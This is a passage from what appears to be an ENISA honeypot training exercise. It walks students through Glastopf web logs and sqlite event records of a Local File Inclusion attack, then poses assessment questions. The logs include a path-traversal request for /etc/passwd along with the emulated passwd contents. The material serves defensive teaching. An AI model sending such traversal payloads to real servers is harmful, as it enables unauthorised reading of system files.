2012-08-05 11:20:34,135 INFO 10.24.82.77 GET /
2012-08-05 11:20:34,305 INFO 10.24.82.77 GET /style.css
2012-08-05 11:20:34,481 INFO 10.24.82.77 GET /favicon.ico
2012-08-05 11:27:12,652 INFO 127.0.0.1 GET /x?id=site1
2012-08-05 11:27:12,777 INFO 127.0.0.1 GET /style.css
2012-08-05 11:27:12,945 INFO 127.0.0.1 GET /favicon.ico
2012-08-05 11:27:54,606 INFO 127.0.0.1 GET /x?id=../../../etc/passwd
2012-08-05 11:27:54,835 INFO 127.0.0.1 GET /favicon.ico
```

The events that you should pay special attention to have been highlighted in bold red.

**STEP 5**

Analyse the database logs:

```
$ sqlite3 /opt/glaspot/trunk/db/glastopf.db "SELECT
id,timestamp,source_addr,method,module FROM events"
```

```
1|2012-08-05 11:20:33|10.24.82.77:52164|GET|unknown
2|2012-08-05 11:20:34|10.24.82.77:52166|GET|style_css
3|2012-08-05 11:20:34|10.24.82.77:52167|GET|unknown
4|2012-08-05 11:27:54|127.0.0.1:52169|GET|lfil
5|2012-08-05 11:27:54|127.0.0.1:52173|GET|unknown
6|2012-08-05 11:27:12|127.0.0.1:52174|GET|unknown
7|2012-08-05 11:27:12|127.0.0.1:52177|GET|style_css
8|2012-08-05 11:27:12|127.0.0.1:52178|GET|unknown
```

The entry highlighted in bold red shows the connection which triggered the `lfil` module responsible for handling the *Local File Inclusion* attack. For more details about this connection, use the following command:

```
$ sqlite3 -line /opt/glaspot/trunk/db/glastopf.db "SELECT * FROM
events WHERE id=4"
          id = 4
   timestamp = 2012-08-05 11:27:54
 source_addr = 127.0.0.1:52169
      method = GET
     request = /x?id=../../../etc/passwd
request_body =
      module = lfil
    filename =
    response = HTTP/1.1 200 OK
Connection: close
Content-Type: text/html; charset=UTF-8

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
        host = localhost:80
```

### 1.6.3 Task 2 - Assessment

*Please follow the teacher's instructions and answer the following questions in detail:*

a. *What vulnerability is being targeted?*
b. *What is the source of the attack?*
c. *Were there any files sent by an attacker? If so, describe them.*
d. *How could the attack be mitigated?*

### 1.6.4 Task 3 – Analysis of a second attack

*Using the tools and knowledge acquired in the previous exercises, analyse the network traffic reaching your honeypot.*

Listen carefully to the teacher's instructions on how to run the second attack simulation.

### 1.6.5 Task 3 - Assessment

*Answer the following questions in detail:*

a. *What vulnerability is being targeted?*
b. *What is the source of the attack?*
c. *Were there any files sent by an attacker? If so, describe them.*
d. *How could the attack be mitigated?*


P.O. Box 1309, 71001 Heraklion, Greece
www.enisa.europa.eu